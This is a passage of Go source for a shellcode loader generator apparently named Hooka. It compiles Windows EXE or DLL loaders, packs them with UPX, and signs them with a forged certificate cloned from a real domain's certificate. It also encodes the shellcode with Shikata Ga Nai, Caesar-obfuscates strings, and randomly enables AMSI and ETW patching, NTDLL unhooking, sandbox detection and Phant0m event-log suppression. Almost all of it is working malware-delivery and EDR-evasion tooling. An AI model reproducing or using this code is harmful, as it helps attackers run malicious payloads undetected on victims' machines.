fmt.Println("[-] An error has ocurred while compressing the loader, skipping this step")
}
} else {
fmt.Println(" > UPX not found. Skipping this step")
}
}
fi, err := os.Stat(output_file)
if err != nil {
log.Fatal(err)
}
fmt.Printf(" > %d bytes written to %s\n\n", fi.Size(), output_file)
// sign generated loader using osslsigncode
// use fake cert
if (domain != "") {
fmt.Println("[*] Signing loader using a fake cert (" + domain + ")")
password := utils.RandomString(utils.RandomInt(8, 12))
err = GenerateCerts(domain, password)
if err != nil {
fmt.Println(" > An error has ocurred while signing loader, so it won't be signed")
} else {
err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose)
if err != nil {
fmt.Println(" > An error has ocurred while signing loader, so it won't be signed")
} else {
os.Remove(output_file) // remove original loader
err = os.Rename("signed_" + output_file, output_file) // rename signed loader
if err != nil {
log.Fatal(err)
}
}
}
fmt.Println()
os.Remove(domain + ".key")
os.Remove(domain + ".pem")
os.Remove(domain + ".pfx")
}
// use real certificate
if (cert != "") {
fmt.Println("[*] Signing loader using a valid cert (" + cert + ")")
password := utils.RandomString(utils.RandomInt(8, 12))
err = SignLoader(output_file, "signed_" + output_file, domain, password, verbose)
if err != nil {
fmt.Println("[-] An error has ocurred while signing loader, so it won't be signed")
} else {
os.Remove(output_file) // remove original loader
err = os.Rename("signed_" + output_file, output_file) // rename signed loader
if err != nil {
log.Fatal(err)
}
}
}
// compute entropy
entropy, err := utils.Entropy(output_file)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Loader file entropy:", entropy)
// compute checksums
md5, sha1, sha256, err := utils.CalculateSums(output_file)
if err != nil {
log.Fatal(err)
}
time.Sleep(100 * time.Millisecond)
fmt.Println("[+] Checksums:")
fmt.Println(" > MD5:", md5)
fmt.Println(" > SHA1:", sha1)
fmt.Println(" > SHA256:", sha256)
fmt.Println("\n[+] Shellcode loader has been successfully generated")
if (format == "dll") {
os.Remove(strings.Split(output_file, ".")[0] + ".h") // remove header file (e.g. loader.h)
}
}
/*
auxiliary functions start here
*/
// create template, parse it, get result as string, reset buffer and return result
func ParseTemplate(func_to_parse string, template_main *LoaderTemplate) string {
//fmt.Println(func_to_parse)
template, err := template.New("template").Parse(func_to_parse)
if err != nil {
log.Fatal(err)
}
err = template.Execute(&buffer, template_main)
if err != nil {
log.Fatal(err)
}
parsed_func := buffer.String()
buffer.Reset()
return parsed_func
}
// function to finally write the Golang code to a file
func WriteLoader(code_file string, imports, exports, functions []string) error {
// create golang file
f, err := os.Create(code_file)
if err != nil {
return err
}
// define imports and file eader
initial_code := `package main
import (
`
// shuffle imports slice
ShuffleSlice(imports)
// iterate over every import to add them to the loader code
for _, imp := range imports {
initial_code = initial_code + ` "` + imp + `"
`
}
initial_code = initial_code + ")\n"
// mix slices
all_code_definitions := append(functions, exports...)
// shuffle slices
ShuffleSlice(all_code_definitions)
// create final code
var main_code string
for _, entry := range all_code_definitions {
main_code = main_code + entry
}
// write initial code to loader file
_, err = f.WriteString(initial_code)
if err != nil {
return err
}
// write remaining part of the code
_, err = f.WriteString(main_code)
if err != nil {
return err
}
return nil
}
// function to compile loader code based on provided arguments
func CompileLoader(format string, output_file string, compress bool, arch string) error {
// check if go.mod file exists
_, err := os.Stat("go.mod")
if os.IsNotExist(err) {
// if it doesn't exist, then create it
mod_cmd := exec.Command("go", "mod", "init", "hooka_ldr")
err = mod_cmd.Run()
if err != nil {
return err
}
defer os.Remove("go.mod")
// if go.mod didn't exist we also need to download the windows library
get_cmd := exec.Command("go", "get", "golang.org/x/sys/windows")
err = get_cmd.Run()
if err != nil {
return err
}
defer os.Remove("go.sum")
}
// define command to compile source code
var compile_cmd *exec.Cmd
// compile as .EXE
if (format == "exe") {
if (compress) {
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-o", output_file, "loader.go")
} else {
fmt.Println(" > go", "build", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-o", output_file, "loader.go")
}
} else if (format == "dll") { // compile as .DLL
if (compress) {
fmt.Println(" > go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-ldflags", "-w -s", "-buildmode=c-shared", "-o", output_file, "loader.go")
} else {
fmt.Println(" > go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
compile_cmd = exec.Command("go", "build", "-buildmode=c-shared", "-o", output_file, "loader.go")
}
}
compile_cmd.Env = append(os.Environ(), "GOARCH=" + arch, "GOOS=windows", "CGO_ENABLED=1", "CC=x86_64-w64-mingw32-gcc")
err = compile_cmd.Run()
if err != nil {
fmt.Println("\n[-] Error while compiling loader:")
return err
}
return nil
}
func ShikataGaNai(shellcode []byte) ([]byte, error) {
rand_input_file := utils.RandomString(8) + ".bin"
rand_output_file := utils.RandomString(8) + ".bin"
err := ioutil.WriteFile(rand_input_file, shellcode, 0644)
if err != nil {
return nil, err
}
cmd := exec.Command("sgn", "-i", rand_input_file, "-o", rand_output_file)
err = cmd.Run()
if err != nil {
fmt.Println("[-] Error while running sgn to obfuscate shellcode, skipping this step")
// revert changes if sgn returned an error
os.Remove(rand_input_file)
os.Remove(rand_output_file)
return nil, err
}
time.Sleep(100 * time.Millisecond)
sgn_shellcode, err := utils.GetShellcodeFromFile(rand_output_file)
if err != nil {
return nil, err
}
os.Remove(rand_input_file)
os.Remove(rand_output_file)
return sgn_shellcode, nil
}
// generate certificates needed to sign executables
func GenerateCerts(domain string, password string) error {
// create .KEY file
fmt.Println(" > Generating KEY file")
rootKey, err := rsa.GenerateKey(crypto_rand.Reader, 4096)
if err != nil {
return err
}
conn, err := tls.Dial("tcp", domain + ":443", &tls.Config{InsecureSkipVerify: true})
if err != nil {
return err
}
defer conn.Close()
var buff bytes.Buffer
for _, cert := range conn.ConnectionState().PeerCertificates {
err = pem.Encode(&buff, &pem.Block{Type: "CERTIFICATE", Bytes: cert.Raw})
if err != nil {
return err
}
}
certs := buff.String()
block, _ := pem.Decode([]byte(certs))
cert, _ := x509.ParseCertificate(block.Bytes)
time.Sleep(100 * time.Millisecond)
file, err := os.Create(domain + ".key")
if err != nil {
return err
}
defer file.Close()
b, err := x509.MarshalPKCS8PrivateKey(rootKey)
if err != nil {
return err
}
err = pem.Encode(file, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: b})
if err != nil {
return err
}
SubjectTemplate := x509.Certificate{
SerialNumber: cert.SerialNumber,
Subject: pkix.Name{
CommonName: cert.Subject.CommonName,
},
NotBefore: cert.NotBefore,
NotAfter: cert.NotAfter,
BasicConstraintsValid: true,
IsCA: true,
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth},
}
IssuerTemplate := x509.Certificate{
SerialNumber: cert.SerialNumber,
Subject: pkix.Name{
CommonName: cert.Issuer.CommonName,
},
NotBefore: cert.NotBefore,
NotAfter: cert.NotAfter,
}
derBytes, err := x509.CreateCertificate(crypto_rand.Reader, &SubjectTemplate, &IssuerTemplate, &rootKey.PublicKey, rootKey)
if err != nil {
return err
}
// create .PEM file
fmt.Println(" > Generating PEM file")
time.Sleep(100 * time.Millisecond)
certOut, err := os.Create(domain + ".pem")
if err != nil {
return err
}
err = pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
if err != nil {
return err
}
err = certOut.Close()
if err != nil {
return err
}
// generate PFX file
fmt.Println(" > Generating PFX file")
time.Sleep(100 * time.Millisecond)
cmd := exec.Command("openssl", "pkcs12", "-export", "-out", domain + ".pfx", "-inkey", domain + ".key", "-in", domain + ".pem", "-passin", "pass:" + password, "-passout", "pass:" + password)
err = cmd.Run()
if err != nil {
return err
}
return nil
}
func SignLoader(input_file string, output_file string, domain string, password string, verbose bool) error {
if (verbose) {
fmt.Println(" > Using osslsigncode to sign " + input_file)
time.Sleep(100 * time.Millisecond)
}
cmd := exec.Command("osslsigncode", "sign", "-pkcs12", domain + ".pfx", "-in", input_file, "-out", output_file, "-pass", password)
err := cmd.Run()
if err != nil {
return err
}
return nil
}
// function which takes care of generating random configuration when the --rand CLI argument was provided
func GetRandomConfig() (string, string, bool, bool, bool, bool, bool, bool, bool, bool, bool, bool) {
var encrypt, unhook string
var noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress bool
enc_rand := utils.RandomInt(1, 5)
if enc_rand == 1 {
encrypt = "aes"
} else if enc_rand == 2 {
encrypt = "3des"
} else if enc_rand == 3 {
encrypt = "rc4"
} else if enc_rand == 4 {
encrypt = "xor"
} else if enc_rand == 5 {
encrypt = "none"
}
unhook_rand := utils.RandomInt(1, 3)
if unhook_rand == 1 {
unhook = "full"
} else if unhook_rand == 2 {
unhook = "peruns"
} else if unhook_rand == 3 {
unhook = "none"
}
amsi_rand := utils.RandomInt(1, 2)
if amsi_rand == 1 {
noamsi = false // patch AMSI
} else {
noamsi = true // do not patch AMSI
}
etw_rand := utils.RandomInt(1, 2)
if etw_rand == 1 {
noetw = false // patch ETW
} else {
noetw = true // do not patch ETW
}
sgn_rand := utils.RandomInt(1, 2)
if sgn_rand == 1 {
sgn = false // do not use Shikata Ga Nai
} else {
_, err := exec.LookPath("sgn") // check if sgn command is installed
if err == nil {
sgn = true
} else {
sgn = false
}
}
strings_rand := utils.RandomInt(1, 2)
if strings_rand == 1 {
str_obfs = true
} else {
str_obfs = false
}
acg_rand := utils.RandomInt(1, 2)
if acg_rand == 1 {
acg = false // do not enable ACG Guard
} else {
acg = true // enable ACG Guard
}
blockdlls_rand := utils.RandomInt(1, 2)
if blockdlls_rand == 1 {
blockdlls = true // enable blockdlls
} else {
blockdlls = false // do not enable blockdlls
}
sandbox_rand := utils.RandomInt(1, 2)
if sandbox_rand == 1 {
sandbox = false // do not enable sandbox detection
} else {
sandbox = true // enable sandbox detection
}
phantom_rand := utils.RandomInt(1, 2)
if phantom_rand == 1 {
phantom = false // do not use Phant0m technique
} else {
phantom = true // use Phant0m technique
}
sleep_rand := utils.RandomInt(1, 2)
if sleep_rand == 1 {
sleep_time = true
} else {
sleep_time = false
}
compress_rand := utils.RandomInt(1, 2)
if compress_rand == 1 {
compress = true
} else {
compress = false
}
return encrypt, unhook, noamsi, noetw, sgn, str_obfs, acg, blockdlls, sandbox, phantom, sleep_time, compress
}
func CaesarEncrypt(plaintext string, shift int) string {
ciphertext := ""
for _, char := range plaintext {
if char >= 'A' && char <= 'Z' {
ciphertext += string((char-'A'+rune(shift))%26 + 'A')
} else if char >= 'a' && char <= 'z' {
ciphertext += string((char-'a'+rune(shift))%26 + 'a')
} else {
ciphertext += string(char)
}
}
return ciphertext
}
func CaesarDecrypt(ciphertext string, shift int) string {
return CaesarEncrypt(ciphertext, 26-shift)
}
func ObfuscateStr(str string, str_obfs bool) string {
if (str_obfs) {
if strings.Contains(str, "\\") {
//fmt.Println(str)
str = strings.ReplaceAll(str, "\\", "\\\\")
}
rand_shift := utils.RandomInt(2, 10)
return "{{.Vars.caesar_decrypt_func}}(\"" + CaesarEncrypt(str, rand_shift) + "\", " + strconv.Itoa(rand_shift) + ")"
} else {
return ConvertStr(str)
}
}
func ShuffleSlice(slice []string) {
math_rand.Seed(time.Now().UnixNano())
math_rand.Shuffle(len(slice), func(i, j int) { slice[i], slice[j] = slice[j], slice[i] })
}
func GenerateHash(str string, rand_num int) string {
if (rand_num == 1) {
return utils.Md5(str)
} else if (rand_num == 2) {
return utils.Sha1(str)
} else if (rand_num == 3) {
return utils.Sha256(str)
}
return ""
}
func ConvertStr(str string) string {
new_str := fmt.Sprint("string([]byte{")
for p, c := range str {
if fmt.Sprintf("%c", c) == "\\" {
new_str = new_str + fmt.Sprintf("'\\%c', ", c)
} else {
if (len(str) - 1) == p {
new_str = new_str + fmt.Sprintf("'%c'", c)
} else {
new_str = new_str + fmt.Sprintf("'%c', ", c)
}
}
}
new_str = new_str + fmt.Sprint("})")
return new_str
}
func GetCallsNames() (string, string, string, string, string, string) {
var NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess string
if (utils.RandomInt(1,2) == 1) {
NtAllocateVirtualMemory = "NtAllocateVirtualMemory"
} else {
NtAllocateVirtualMemory = "ZwAllocateVirtualMemory"
}
if (utils.RandomInt(1,2) == 1) {
NtWriteVirtualMemory = "NtWriteVirtualMemory"
} else {
NtWriteVirtualMemory = "ZwWriteVirtualMemory"
}
if (utils.RandomInt(1,2) == 1) {
NtProtectVirtualMemory = "NtProtectVirtualMemory"
} else {
NtProtectVirtualMemory = "ZwProtectVirtualMemory"
}
if (utils.RandomInt(1,2) == 1) {
NtCreateThreadEx = "NtCreateThreadEx"
} else {
NtCreateThreadEx = "ZwCreateThreadEx"
}
if (utils.RandomInt(1,2) == 1) {
NtQueryInformationThread = "NtQueryInformationThread"
} else {
NtQueryInformationThread = "ZwQueryInformationThread"
}
if (utils.RandomInt(1,2) == 1) {
NtQueryInformationProcess = "NtQueryInformationProcess"
} else {
NtQueryInformationProcess = "ZwQueryInformationProcess"
}
return NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtQueryInformationThread, NtQueryInformationProcess
}
func ConvertBytesToStrFormat(src_bytes []byte) string {
var new_str string
new_str = "[]byte{"
for _, b := range src_bytes {
new_str = new_str + fmt.Sprintf("0x%x, ", b)
}
new_str = strings.TrimSuffix(new_str, ", ") + "}"
return new_str
}
func ConvertSliceToStrFormat(slice []string, str_obfs bool) string {
var new_str string
if str_obfs {
new_str = "[]string{ "
} else {
new_str = "[]string{"
}
for _, i := range slice {
new_str = new_str + ObfuscateStr(i, str_obfs) + ", "
}
new_str = strings.TrimSuffix(new_str, ", ") + "}"
return new_str
}